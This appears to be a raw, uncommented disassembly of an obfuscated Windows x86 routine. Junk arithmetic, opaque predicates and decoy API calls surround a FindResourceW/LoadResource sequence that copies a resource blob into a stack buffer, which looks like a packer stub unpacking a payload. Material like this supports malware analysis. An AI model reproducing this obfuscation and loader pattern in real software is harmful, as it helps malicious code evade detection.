mov dword [ebp - 0x4a0], 1
jmp 0x40368c
mov dword [ebp - 0x4a0], 0
mov eax, dword [ebp - 0x4a0]
cmp eax, dword [ebp - 0x98]
je 0x4036a6
mov dword [ebp - 0x6f4], 1
jmp 0x4036b0
mov dword [ebp - 0x6f4], 0
cmp dword [ebp - 0x6f4], 0x8e
je 0x4036c8
mov dword [ebp - 0x6fc], 1
jmp 0x4036d2
mov dword [ebp - 0x6fc], 0
mov ecx, dword [ebp - 0x4a8]
xor ecx, 0x80
mov edx, dword [ebp - 0x98]
add edx, dword [ebp - 0x98]
xor ecx, edx
or ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x1dc], ecx
mov eax, dword [ebp - 0x1dc]
add eax, dword [ebp - 0x1dc]
and eax, 1
or eax, 0x50
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x9a0], str.BVccSvv0zrsQy7GY2d
push 0x987ed362
push 0xabc8f753
call dword [sym.imp.WINMM.dll_waveOutSetVolume]
mov ecx, dword [ebp - 0x98]
imul ecx, ecx, 0x8c
mov edx, dword [ebp - 0x98]
add edx, dword [ebp - 0x98]
cmp ecx, edx
je 0x403752
mov dword [ebp - 0x4b0], 1
jmp 0x40375c
mov dword [ebp - 0x4b0], 0
mov eax, dword [ebp - 0x4b0]
and eax, dword [ebp - 0x98]
or eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x98]
add ecx, 0x8a
or eax, ecx
mov edx, dword [ebp - 0x98]
imul edx, edx, 0x6d
add edx, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x98]
imul ecx, ecx, 0x30
xor edx, ecx
or eax, edx
mov dword [ebp - 0x144], eax
mov edx, dword [ebp - 0x144]
neg edx
xor edx, dword [ebp - 0x144]
and edx, 1
add edx, 1
imul edx, edx, 0x3b
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x9f8], str.FZ48DANlmiVO7kdm1yY2T4jm4iNpo
push 0x530e43f4
push 0x75e17df7
push 0xe9800f58
call dword [sym.imp.RPCRT4.dll_RpcNsBindingInqEntryNameW]
mov eax, 0xd
sub eax, dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
je 0x4037f3
mov dword [ebp - 0x704], 1
jmp 0x4037fd
mov dword [ebp - 0x704], 0
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [ebp - 0x10]
jne 0x403814
mov dword [ebp - 0x70c], 1
jmp 0x40381e
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x10]
cmp edx, 0x80
je 0x403838
mov dword [ebp - 0x4c0], 1
jmp 0x403842
mov dword [ebp - 0x4c0], 0
mov eax, dword [ebp - 0x10]
sub eax, 0x96
cmp dword [ebp - 0x10], eax
jne 0x40385b
mov dword [ebp - 0x4b8], 1
jmp 0x403865
mov dword [ebp - 0x4b8], 0
mov ecx, dword [ebp - 0x10]
add ecx, 0x89
cmp dword [ebp - 0x4b8], ecx
jne 0x403882
mov dword [ebp - 0x714], 1
jmp 0x40388c
mov dword [ebp - 0x714], 0
mov edx, dword [ebp - 0x10]
imul edx, edx, 0xf6
xor edx, dword [ebp - 0x10]
xor edx, 0x84
xor edx, dword [ebp - 0x70c]
xor edx, dword [ebp - 0x4c0]
mov eax, dword [ebp - 0x714]
and eax, dword [ebp - 0x10]
or edx, eax
mov dword [ebp - 0x1ac], edx
mov ecx, dword [ebp - 0x1ac]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0x1ac]
and edx, 1
cmp ecx, edx
je 0x4038df
mov dword [ebp - 0x4c8], 1
jmp 0x4038e9
mov dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0x4c8]
add eax, 1
imul eax, eax, 0xf
mov dword [ebp - 0x1ac], eax
mov dword [ebp - 0x9a8], str.R6d36UekOEKl
push 0x68a484eb
push 0x17732d77
push 0x3e255097
call sub.SHLWAPI.dll_SHSendMessageBroadcastA
cmp dword [ebp - 0x74], 0
je 0x4039ad
mov ecx, dword [ebp - 0x74]
sub ecx, 0x3c
cmp ecx, 0xca
je 0x40393d
mov dword [ebp - 0x71c], 1
jmp 0x403947
mov dword [ebp - 0x71c], 0
mov edx, dword [ebp - 0x74]
xor edx, dword [ebp - 0x71c]
xor edx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
imul eax, eax, 0xa5
and eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x74]
imul ecx, ecx, 0xb3
sub ecx, dword [ebp - 0x74]
and eax, ecx
xor edx, eax
mov dword [ebp - 0x14c], edx
mov edx, dword [ebp - 0x14c]
neg edx
xor edx, dword [ebp - 0x14c]
and edx, 1
or edx, 0x29
mov dword [ebp - 0x14c], edx
mov dword [ebp - 0x908], str.yowN5HwvAUIkm
push 0x2db0ae50
push 0xf304cfbe
push 0x67ae8d50
call sub.USP10.dll_ScriptIsComplex
mov eax, dword [ebp - 0x74]
cmp eax, dword [ebp - 0x74]
je 0x4039c1
mov dword [ebp - 0x724], 1
jmp 0x4039cb
mov dword [ebp - 0x724], 0
mov ecx, dword [ebp - 0x74]
add ecx, dword [ebp - 0x74]
cmp ecx, dword [ebp - 0x74]
jne 0x4039e2
mov dword [ebp - 0x4d0], 1
jmp 0x4039ec
mov dword [ebp - 0x4d0], 0
mov edx, dword [ebp - 0x4d0]
cmp edx, dword [ebp - 0x74]
je 0x403a03
mov dword [ebp - 0x4d8], 1
jmp 0x403a0d
mov dword [ebp - 0x4d8], 0
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x724]
and ecx, 0x2d
xor eax, ecx
xor eax, dword [ebp - 0x74]
or eax, dword [ebp - 0x74]
or eax, dword [ebp - 0x4d8]
or eax, dword [ebp - 0x74]
or eax, 0x88
mov dword [ebp - 0x204], eax
mov edx, dword [ebp - 0x204]
neg edx
xor edx, dword [ebp - 0x204]
and edx, 1
add edx, 1
imul edx, edx, 0x26
mov dword [ebp - 0x204], edx
mov dword [ebp - 0x910], str.9UNemHOEfGx
push 0xb087f132
push 0x867c7ef4
push 0x98358944
call sub.NETAPI32.dll_NetErrorLogClear
push 0xa
push str.WIOSOSOSOW
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x800], eax
mov eax, dword [ebp + 0x14]
cmp eax, dword [ebp + 0x14]
jne 0x403a99
mov dword [ebp - 0x72c], 1
jmp 0x403aa3
mov dword [ebp - 0x72c], 0
mov ecx, dword [ebp - 0x72c]
cmp ecx, dword [ebp + 0x14]
je 0x403aba
mov dword [ebp - 0x4e8], 1
jmp 0x403ac4
mov dword [ebp - 0x4e8], 0
mov edx, dword [ebp + 0x14]
imul edx, dword [ebp + 0x14]
cmp dword [ebp + 0x14], edx
je 0x403adc
mov dword [ebp - 0x4e0], 1
jmp 0x403ae6
mov dword [ebp - 0x4e0], 0
mov eax, dword [ebp + 0x14]
add eax, 0x3a
cmp dword [ebp - 0x4e0], eax
jne 0x403b00
mov dword [ebp - 0x734], 1
jmp 0x403b0a
mov dword [ebp - 0x734], 0
mov ecx, 0xb6
sub ecx, dword [ebp + 0x14]
cmp dword [ebp - 0x734], ecx
je 0x403b26
mov dword [ebp - 0x73c], 1
jmp 0x403b30
mov dword [ebp - 0x73c], 0
mov edx, dword [ebp + 0x14]
imul edx, edx, 0x97
add edx, 0x45
and edx, dword [ebp - 0x4e8]
xor edx, dword [ebp + 0x14]
xor edx, dword [ebp - 0x73c]
mov dword [ebp - 0x154], edx
mov eax, dword [ebp - 0x154]
neg eax
xor eax, dword [ebp - 0x154]
and eax, 1
add eax, 1
imul eax, eax, 0x62
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x918], str.TfHJjld7wxvujOPdpAGkJj5Xb
push 0x2db0ae50
push 0xf304cfbe
push 0x67ae8d50
call sub.USP10.dll_ScriptIsComplex
cmp dword [ebp - 0x80], 0
je 0x403e10
cmp dword [ebp - 0x80], 0x65
jne 0x403ba8
mov dword [ebp - 0x4f0], 1
jmp 0x403bb2
mov dword [ebp - 0x4f0], 0
mov ecx, dword [ebp - 0x4f0]
cmp ecx, dword [ebp - 0x80]
je 0x403bc9
mov dword [ebp - 0x744], 1
jmp 0x403bd3
mov dword [ebp - 0x744], 0
mov edx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
lea ecx, [eax + edx + 0xd3]
cmp ecx, dword [ebp - 0x80]
jne 0x403bf1
mov dword [ebp - 0x4f8], 1
jmp 0x403bfb
mov dword [ebp - 0x4f8], 0
cmp dword [ebp - 0x80], 0xc9
jne 0x403c10
mov dword [ebp - 0x74c], 1
jmp 0x403c1a
mov dword [ebp - 0x74c], 0
mov edx, dword [ebp - 0x80]
add edx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
and eax, 0x15
xor edx, eax
mov ecx, dword [ebp - 0x80]
imul ecx, ecx, 0x73
mov eax, 0x37
sub eax, ecx
and eax, dword [ebp - 0x744]
xor edx, eax
mov ecx, dword [ebp - 0x4f8]
and ecx, 0x3a
xor edx, ecx
xor edx, dword [ebp - 0x80]
xor edx, dword [ebp - 0x74c]
or edx, dword [ebp - 0x80]
mov dword [ebp - 0x1b4], edx
mov edx, dword [ebp - 0x1b4]
add edx, dword [ebp - 0x1b4]
and edx, 1
add edx, 1
imul edx, edx, 0x18
mov dword [ebp - 0x1b4], edx
mov dword [ebp - 0xa00], str.SORkWxFlo2JSlILgViCvgT3GtbfQSbx
push 0x2db0ae50
push 0xf304cfbe
push 0x67ae8d50
call sub.USP10.dll_ScriptIsComplex
cmp dword [ebp - 0x68], 0
je 0x403d8c
mov eax, dword [ebp - 0x68]
add eax, 0xe8
cmp dword [ebp - 0x68], eax
jne 0x403cb6
mov dword [ebp - 0x500], 1
jmp 0x403cc0
mov dword [ebp - 0x500], 0
mov ecx, dword [ebp - 0x500]
cmp ecx, dword [ebp - 0x68]
jne 0x403cd7
mov dword [ebp - 0x754], 1
jmp 0x403ce1
mov dword [ebp - 0x754], 0
cmp dword [ebp - 0x68], 0x90
je 0x403cf6
mov dword [ebp - 0x508], 1
jmp 0x403d00
mov dword [ebp - 0x508], 0
mov edx, dword [ebp - 0x68]
add edx, dword [ebp - 0x68]
and edx, dword [ebp - 0x754]
mov eax, dword [ebp - 0x68]
imul eax, dword [ebp - 0x68]
mov ecx, 7
sub ecx, eax
and ecx, dword [ebp - 0x508]
mov eax, dword [ebp - 0x68]
imul eax, dword [ebp - 0x68]
add eax, 0x9b
and ecx, eax
xor edx, ecx
or edx, dword [ebp - 0x68]
mov dword [ebp - 0x15c], edx
mov ecx, dword [ebp - 0x15c]
not ecx
cmp ecx, dword [ebp - 0x15c]
jne 0x403d55
mov dword [ebp - 0x75c], 1
jmp 0x403d5f
mov dword [ebp - 0x75c], 0
mov edx, dword [ebp - 0x75c]
add edx, 5
mov dword [ebp - 0x15c], edx
mov dword [ebp - 0x920], str.9tfwP0J
push 0x68a484eb
push 0x17732d77
push 0x3e255097
call sub.SHLWAPI.dll_SHSendMessageBroadcastA
mov eax, dword [ebp - 0x68]
or eax, 0x67
or eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x68]
imul ecx, ecx, 0x1c
mov edx, dword [ebp - 0x68]
imul edx, edx, 0xc3
and ecx, edx
mov edx, dword [ebp - 0x68]
and ecx, edx
xor ecx, dword [ebp - 0x68]
or eax, ecx
or eax, dword [ebp - 0x68]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xac]
not eax
cmp eax, dword [ebp - 0xac]
jne 0x403dd5
mov dword [ebp - 0x510], 1
jmp 0x403ddf
mov dword [ebp - 0x510], 0
mov ecx, dword [ebp - 0x510]
add ecx, 1
imul ecx, ecx, 0x47
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0x808], str.GVjW55xr
push 0x397949b3
push 0x58350ff5
push 0x4d6e6858
call dword [sym.imp.GDI32.dll_GetEnhMetaFileDescriptionW]
cmp dword [ebp - 0x80], 0x73
jne 0x403e22
mov dword [ebp - 0x518], 1
jmp 0x403e2c
mov dword [ebp - 0x518], 0
mov edx, dword [ebp - 0x80]
imul edx, edx, 0xe9
mov eax, dword [ebp - 0x80]
add eax, 0x74
cmp edx, eax
je 0x403e4b
mov dword [ebp - 0x764], 1
jmp 0x403e55
mov dword [ebp - 0x764], 0
mov ecx, dword [ebp - 0x764]
cmp ecx, dword [ebp - 0x80]
jne 0x403e6c
mov dword [ebp - 0x76c], 1
jmp 0x403e76
mov dword [ebp - 0x76c], 0
mov edx, dword [ebp - 0x80]
and edx, dword [ebp - 0x80]
xor edx, dword [ebp - 0x80]
or edx, dword [ebp - 0x518]
or edx, dword [ebp - 0x76c]
mov dword [ebp - 0xb0], edx
mov eax, dword [ebp - 0xb0]
neg eax
and eax, 1
mov ecx, dword [ebp - 0xb0]
and ecx, 1
cmp eax, ecx
je 0x403eb5
mov dword [ebp - 0x520], 1
jmp 0x403ebf
mov dword [ebp - 0x520], 0
mov edx, dword [ebp - 0x520]
add edx, 4
mov dword [ebp - 0xb0], edx
mov dword [ebp - 0x80c], str.5RtcggJZC
push 0xe97ba28b
call dword [sym.imp.RPCRT4.dll_I_RpcMapWin32Status]
cmp dword [ebp - 0x94], 0
je 0x403fc6
mov eax, dword [ebp - 0x94]
cmp eax, dword [ebp - 0x94]
je 0x403f0a
mov dword [ebp - 0x528], 1
jmp 0x403f14
mov dword [ebp - 0x528], 0
mov ecx, dword [ebp - 0x94]
add ecx, 0xdf
cmp dword [ebp - 0x94], ecx
je 0x403f34
mov dword [ebp - 0x774], 1
jmp 0x403f3e
mov dword [ebp - 0x774], 0
mov edx, dword [ebp - 0x94]
sub edx, 0x17
and edx, dword [ebp - 0x774]
xor edx, dword [ebp - 0x528]
xor edx, dword [ebp - 0x94]
or edx, 0xef
mov eax, dword [ebp - 0x94]
and eax, dword [ebp - 0x94]
or edx, eax
mov dword [ebp - 0xb8], edx
mov ecx, dword [ebp - 0xb8]
not ecx
cmp ecx, dword [ebp - 0xb8]
jne 0x403f8f
mov dword [ebp - 0x214], 1
jmp 0x403f99
mov dword [ebp - 0x214], 0
mov edx, dword [ebp - 0x214]
or edx, 0x48
mov dword [ebp - 0xb8], edx
mov dword [ebp - 0x814], str.jpkT3GZm
push 0x2db0ae50
push 0xf304cfbe
push 0x67ae8d50
call sub.USP10.dll_ScriptIsComplex
mov eax, dword [ebp - 0x94]
cmp eax, dword [ebp - 0x94]
je 0x403fe0
mov dword [ebp - 0x530], 1
jmp 0x403fea
mov dword [ebp - 0x530], 0
mov ecx, dword [ebp - 0x94]
add ecx, 0xff
mov edx, dword [ebp - 0x94]
add edx, 0x48
sub edx, dword [ebp - 0x94]
sub edx, dword [ebp - 0x94]
cmp ecx, edx
je 0x40401b
mov dword [ebp - 0x784], 1
jmp 0x404025
mov dword [ebp - 0x784], 0
mov eax, 0x4b
sub eax, dword [ebp - 0x94]
and eax, dword [ebp - 0x530]
mov ecx, dword [ebp - 0x94]
add ecx, 0xeb
and ecx, 0x10
or eax, ecx
mov edx, dword [ebp - 0x784]
and edx, 0xfa
or eax, edx
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0xc0]
add eax, dword [ebp - 0xc0]
and eax, 1
add eax, 0x46
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x824], str.kNVjDMJ8bsfQLqj3iztszvwXY78V
push 0xe97ba28b
call dword [sym.imp.RPCRT4.dll_I_RpcMapWin32Status]
mov ecx, dword [ebp - 0x800]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x7fc], eax
cmp dword [ebp + 0x14], 0xb8
jne 0x4040b2
mov dword [ebp - 0x538], 1
jmp 0x4040bc
mov dword [ebp - 0x538], 0
cmp dword [ebp + 0x14], 2
jne 0x4040ce
mov dword [ebp - 0x78c], 1
jmp 0x4040d8
mov dword [ebp - 0x78c], 0
mov edx, dword [ebp + 0x14]
add edx, 0x9b
mov eax, dword [ebp + 0x14]
imul eax, dword [ebp + 0x14]
and edx, eax
xor edx, dword [ebp + 0x14]
xor edx, 0x7d
xor edx, dword [ebp + 0x14]
or edx, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x538]
xor ecx, dword [ebp + 0x14]
xor ecx, 0xb9
xor ecx, dword [ebp + 0x14]
or edx, ecx
or edx, dword [ebp - 0x78c]
mov dword [ebp - 0xc8], edx
mov edx, dword [ebp - 0xc8]
neg edx
xor edx, dword [ebp - 0xc8]
and edx, 1
add edx, 1
imul edx, edx, 0x5c
mov dword [ebp - 0xc8], edx
mov dword [ebp - 0x834], str.fMWLYi4jCw2K9wZTDsVjrdjpiF
push 0x397949b3
push 0x58350ff5
push 0x4d6e6858
call dword [sym.imp.GDI32.dll_GetEnhMetaFileDescriptionW]
cmp dword [ebp - 0x2c], 0
je 0x404417
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x2c]
je 0x404170
mov dword [ebp - 0x794], 1
jmp 0x40417a
mov dword [ebp - 0x794], 0
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x2c]
cmp ecx, 0x27
jne 0x404191
mov dword [ebp - 0x540], 1
jmp 0x40419b
mov dword [ebp - 0x540], 0
cmp dword [ebp - 0x540], 0xe1
je 0x4041b3
mov dword [ebp - 0x548], 1
jmp 0x4041bd
mov dword [ebp - 0x548], 0
mov edx, dword [ebp - 0x2c]
add edx, 0x87
cmp dword [ebp - 0x2c], edx
je 0x4041d7
mov dword [ebp - 0x79c], 1
jmp 0x4041e1
mov dword [ebp - 0x79c], 0
mov eax, 0x83
sub eax, dword [ebp - 0x2c]
xor eax, dword [ebp - 0x794]
or eax, dword [ebp - 0x548]
mov ecx, dword [ebp - 0x2c]
imul ecx, ecx, 0x92
or eax, ecx
mov edx, dword [ebp - 0x79c]
and edx, dword [ebp - 0x2c]
or eax, edx
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xd0]
neg eax
xor eax, dword [ebp - 0xd0]
and eax, 1
add eax, 1
imul eax, eax, 0x19
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x83c], str.XJ2gbrExoMYu8Z7QRntqad2Opl
push 0x5beaf050
push 0x824aaf7f
call dword [sym.imp.GDI32.dll_GetFontUnicodeRanges]
cmp dword [ebp - 0x78], 0
je 0x4042e3
mov ecx, dword [ebp - 0x78]
sub ecx, dword [ebp - 0x78]
and ecx, 0xcc
xor ecx, dword [ebp - 0x78]
mov edx, dword [ebp - 0x78]
and edx, 0xd9
xor edx, dword [ebp - 0x78]
or ecx, edx
mov eax, dword [ebp - 0x78]
imul eax, dword [ebp - 0x78]
mov edx, dword [ebp - 0x78]
lea eax, [eax + edx + 0xe]
xor eax, 0x1e
or ecx, eax
mov dword [ebp - 0xd8], ecx
mov ecx, dword [ebp - 0xd8]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0xd8]
and edx, 1
cmp ecx, edx
je 0x4042ac
mov dword [ebp - 0x550], 1
jmp 0x4042b6
mov dword [ebp - 0x550], 0
mov eax, dword [ebp - 0x550]
or eax, 0x43
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0x844], str.3wtycph00
push 0x68a484eb
push 0x17732d77
push 0x3e255097
call sub.SHLWAPI.dll_SHSendMessageBroadcastA
cmp dword [ebp - 0x78], 0x3a
je 0x4042f5
mov dword [ebp - 0x560], 1
jmp 0x4042ff
mov dword [ebp - 0x560], 0
mov ecx, dword [ebp - 0x78]
add ecx, 0xdb
mov edx, dword [ebp - 0x78]
imul edx, dword [ebp - 0x78]
cmp ecx, edx
je 0x40431f
mov dword [ebp - 0x7ac], 1
jmp 0x404329
mov dword [ebp - 0x7ac], 0
mov eax, dword [ebp - 0x78]
imul eax, eax, 0xaa
sub eax, dword [ebp - 0x78]
sub eax, 0xac
mov ecx, dword [ebp - 0x78]
imul ecx, dword [ebp - 0x78]
cmp eax, ecx
jne 0x404351
mov dword [ebp - 0x7a4], 1
jmp 0x40435b
mov dword [ebp - 0x7a4], 0
mov edx, dword [ebp - 0x78]
add edx, 0x96
cmp dword [ebp - 0x7a4], edx
jne 0x404378
mov dword [ebp - 0x558], 1
jmp 0x404382
mov dword [ebp - 0x558], 0
mov eax, dword [ebp - 0x558]
cmp eax, dword [ebp - 0x78]
je 0x404399
mov dword [ebp - 0x7b4], 1
jmp 0x4043a3
mov dword [ebp - 0x7b4], 0
mov ecx, 0x7a
sub ecx, dword [ebp - 0x78]
and ecx, dword [ebp - 0x7ac]
or ecx, dword [ebp - 0x560]
or ecx, dword [ebp - 0x7b4]
mov dword [ebp - 0xe0], ecx
mov edx, dword [ebp - 0xe0]
not edx
cmp edx, dword [ebp - 0xe0]
jne 0x4043df
mov dword [ebp - 0x568], 1
jmp 0x4043e9
mov dword [ebp - 0x568], 0
mov eax, dword [ebp - 0x568]
or eax, 0x5c
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0x854], str.1ThVjM03Yz2wUEy3IQ
push 0x530e43f4
push 0x75e17df7
push 0xe9800f58
call dword [sym.imp.RPCRT4.dll_RpcNsBindingInqEntryNameW]
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0x2c]
jne 0x40442b
mov dword [ebp - 0x7bc], 1
jmp 0x404435
mov dword [ebp - 0x7bc], 0
mov edx, dword [ebp - 0x7bc]
cmp edx, dword [ebp - 0x2c]
jne 0x40444c
mov dword [ebp - 0x580], 1
jmp 0x404456
mov dword [ebp - 0x580], 0
cmp dword [ebp - 0x2c], 0x5a
jne 0x404468
mov dword [ebp - 0x570], 1
jmp 0x404472
mov dword [ebp - 0x570], 0
cmp dword [ebp - 0x570], 0x25
jne 0x404487
mov dword [ebp - 0x7c4], 1
jmp 0x404491
mov dword [ebp - 0x7c4], 0
mov eax, dword [ebp - 0x7c4]
cmp eax, dword [ebp - 0x2c]
je 0x4044a8
mov dword [ebp - 0x578], 1
jmp 0x4044b2
mov dword [ebp - 0x578], 0
cmp dword [ebp - 0x578], 0x4b
je 0x4044c7
mov dword [ebp - 0x7cc], 1
jmp 0x4044d1
mov dword [ebp - 0x7cc], 0
mov ecx, dword [ebp - 0x7cc]
cmp ecx, dword [ebp - 0x2c]
je 0x4044e8
mov dword [ebp - 0x7d4], 1
jmp 0x4044f2
mov dword [ebp - 0x7d4], 0
mov edx, dword [ebp - 0x2c]
imul edx, edx, 0x52
imul edx, edx, 0x28
cmp edx, dword [ebp - 0x2c]
je 0x40450c
mov dword [ebp - 0x588], 1
jmp 0x404516
mov dword [ebp - 0x588], 0
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x2c]
add eax, 0x9f
xor eax, dword [ebp - 0x580]
xor eax, 0x48
mov ecx, dword [ebp - 0x2c]
and ecx, dword [ebp - 0x2c]
and ecx, dword [ebp - 0x2c]
and ecx, dword [ebp - 0x7d4]
xor eax, ecx
xor eax, dword [ebp - 0x588]
xor eax, dword [ebp - 0x2c]
mov dword [ebp - 0xe8], eax
mov edx, dword [ebp - 0xe8]
neg edx
and edx, 1
mov eax, dword [ebp - 0xe8]
and eax, 1
cmp edx, eax
je 0x40456f
mov dword [ebp - 0x7dc], 1
jmp 0x404579
mov dword [ebp - 0x7dc], 0
mov ecx, dword [ebp - 0x7dc]
add ecx, 1
imul ecx, ecx, 9
mov dword [ebp - 0xe8], ecx
mov dword [ebp - 0x864], str.9YewPc5pQzSWCI0J9
push 0x7fbf96d1
push 0x2fc64b9c
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
cmp dword [ebp - 0x8c], 0
je 0x40465c
mov edx, dword [ebp - 0x8c]
and edx, dword [ebp - 0x8c]
xor edx, dword [ebp - 0x8c]
or edx, 0xe2
mov eax, dword [ebp - 0x8c]
sub eax, 0x7d
or edx, eax
mov ecx, dword [ebp - 0x8c]
imul ecx, ecx, 0xbf
mov eax, dword [ebp - 0x8c]
imul eax, dword [ebp - 0x8c]
sub ecx, eax
xor ecx, dword [ebp - 0x8c]
or edx, ecx
mov ecx, dword [ebp - 0x8c]
and ecx, 0x70
or edx, ecx
mov dword [ebp - 0xf0], edx
mov edx, dword [ebp - 0xf0]
not edx
cmp edx, dword [ebp - 0xf0]
jne 0x404625
mov dword [ebp - 0x590], 1
jmp 0x40462f
mov dword [ebp - 0x590], 0
mov eax, dword [ebp - 0x590]
add eax, 0x33
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x86c], str.YOpOG22jKmREO4Z3C
push 0xd0116fa4
push 0xfad6e987
push 0x4bd1e61f
call sub.wsnmp32.dll_SnmpContextToStr
mov ecx, dword [ebp - 0x8c]
cmp ecx, dword [ebp - 0x8c]
jne 0x404676
mov dword [ebp - 0x5a0], 1
jmp 0x404680
mov dword [ebp - 0x5a0], 0
mov edx, dword [ebp - 0x8c]
imul edx, dword [ebp - 0x8c]
imul edx, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
lea ecx, [edx + eax + 0xaf]
cmp dword [ebp - 0x8c], ecx
jne 0x4046b5
mov dword [ebp - 0x7e4], 1
jmp 0x4046bf
mov dword [ebp - 0x7e4], 0
mov edx, dword [ebp - 0x7e4]
cmp edx, dword [ebp - 0x8c]
je 0x4046d9
mov dword [ebp - 0x598], 1
jmp 0x4046e3
mov dword [ebp - 0x598], 0
mov eax, dword [ebp - 0x598]
cmp eax, dword [ebp - 0x8c]
jne 0x4046fd
mov dword [ebp - 0x7ec], 1
jmp 0x404707
mov dword [ebp - 0x7ec], 0
mov ecx, dword [ebp - 0x7ec]
xor ecx, 0xeb
or ecx, dword [ebp - 0x5a0]
mov dword [ebp - 0xf8], ecx
mov edx, dword [ebp - 0xf8]
add edx, dword [ebp - 0xf8]
and edx, 1
add edx, 1
imul edx, edx, 0x13
mov dword [ebp - 0xf8], edx
mov dword [ebp - 0x87c], str.F8eW86
push 0xd0116fa4
push 0xfad6e987
push 0x4bd1e61f
call sub.wsnmp32.dll_SnmpContextToStr
push 0x4e05
mov eax, dword [ebp - 0x7fc]
push eax
lea ecx, [ebp - 0x5850]
push ecx
call fcn.00406e60
add esp, 0xc
mov edx, dword [ebp + 0x14]
add edx, 0xda
cmp dword [ebp + 0x14], edx
jne 0x40478d
mov dword [ebp - 0x7f4], 1
jmp 0x404797
mov dword [ebp - 0x7f4], 0
mov eax, dword [ebp + 0x14]
imul eax, eax, 0x97
and eax, 0xc9
xor eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x14]
imul ecx, ecx, 0x83
mov edx, dword [ebp + 0x14]
add edx, 0x6f
and ecx, edx
mov edx, dword [ebp + 0x14]
sub edx, 0xa6
xor ecx, edx
xor ecx, dword [ebp + 0x14]
xor ecx, 0x11
xor ecx, dword [ebp - 0x7f4]
or eax, ecx
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x100]
add eax, dword [ebp - 0x100]
and eax, 1
add eax, 0x1f
mov dword [ebp - 0x100], eax
mov dword [ebp - 0x88c], str.PL7ZcJ6AnqTqSFju4rcX9AyIzsZE
push 0x4f83e640
push 0xb05b661d
push 0xe8ad46ec
call dword [sym.imp.WINMM.dll_mmioWrite]
cmp dword [ebp - 0x30], 0
je 0x404bab
cmp dword [ebp - 0x30], 0xb0
je 0x40482e
mov dword [ebp - 0x7d0], 1
jmp 0x404838
mov dword [ebp - 0x7d0], 0
mov ecx, dword [ebp - 0x30]
add ecx, 0x1b
mov edx, dword [ebp - 0x30]
sub edx, dword [ebp - 0x30]
cmp ecx, edx
jne 0x404854
mov dword [ebp - 0x5b8], 1
jmp 0x40485e
mov dword [ebp - 0x5b8], 0
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x30]
cmp eax, 5
je 0x404875
mov edx, dword [ebp - 0x30]
add edx, 0x67
mov eax, dword [ebp - 0x30]
imul eax, eax, 0x17
cmp edx, eax
je 0x404bc7
mov dword [ebp - 0x6f0], 1
jmp 0x404bd1
mov dword [ebp - 0x6f0], 0
mov ecx, dword [ebp - 0x30]
imul ecx, ecx, 0x9e
mov edx, dword [ebp - 0x30]
sub edx, ecx
cmp dword [ebp - 0x6f0], edx
je 0x404bf3
mov dword [ebp - 0x5f0], 1
jmp 0x404bfd
mov dword [ebp - 0x5f0], 0
mov eax, dword [ebp - 0x5f0]
cmp eax, dword [ebp - 0x30]
jne 0x404c14
cmp dword [ebp + 0x14], 0x26
jne 0x4056a4
mov dword [ebp - 0x2dc], 1
jmp 0x4056ae
mov dword [ebp - 0x2dc], 0
mov edx, dword [ebp + 0x14]
sub edx, dword [ebp + 0x14]
and edx, dword [ebp - 0x2dc]
xor edx, dword [ebp + 0x14]
mov eax, dword [ebp + 0x14]
imul eax, dword [ebp + 0x14]
imul eax, dword [ebp + 0x14]
add eax, 0x6c
mov ecx, dword [ebp + 0x14]
and ecx, 0x74
xor eax, ecx
mov ecx, dword [ebp + 0x14]
add ecx, dword [ebp + 0x14]
mov esi, dword [ebp + 0x14]
imul esi, esi, 0x71
add ecx, esi
xor eax, ecx
xor eax, 0x4c
xor eax, dword [ebp + 0x14]
or edx, eax
mov eax, dword [ebp + 0x14]
imul eax, eax, 0xbe
imul eax, dword [ebp + 0x14]
or edx, eax
mov dword [ebp - 0x170], edx
mov ecx, dword [ebp - 0x170]
add ecx, dword [ebp - 0x170]
and ecx, 1
add ecx, 1
imul ecx, ecx, 0x26
mov dword [ebp - 0x170], ecx
mov dword [ebp - 0x93c], str.H0vOIomnqI
push 0x68a484eb
push 0x17732d77
push 0x3e255097
call sub.SHLWAPI.dll_SHSendMessageBroadcastA
cmp dword [ebp - 0x9c], 0
je 0x405ada
mov edx, dword [ebp - 0x9c]
add edx, 0x8d
mov eax, dword [ebp - 0x9c]
imul eax, eax, 0xfa
sub edx, eax
cmp dword [ebp - 0x9c], edx
je 0x405774
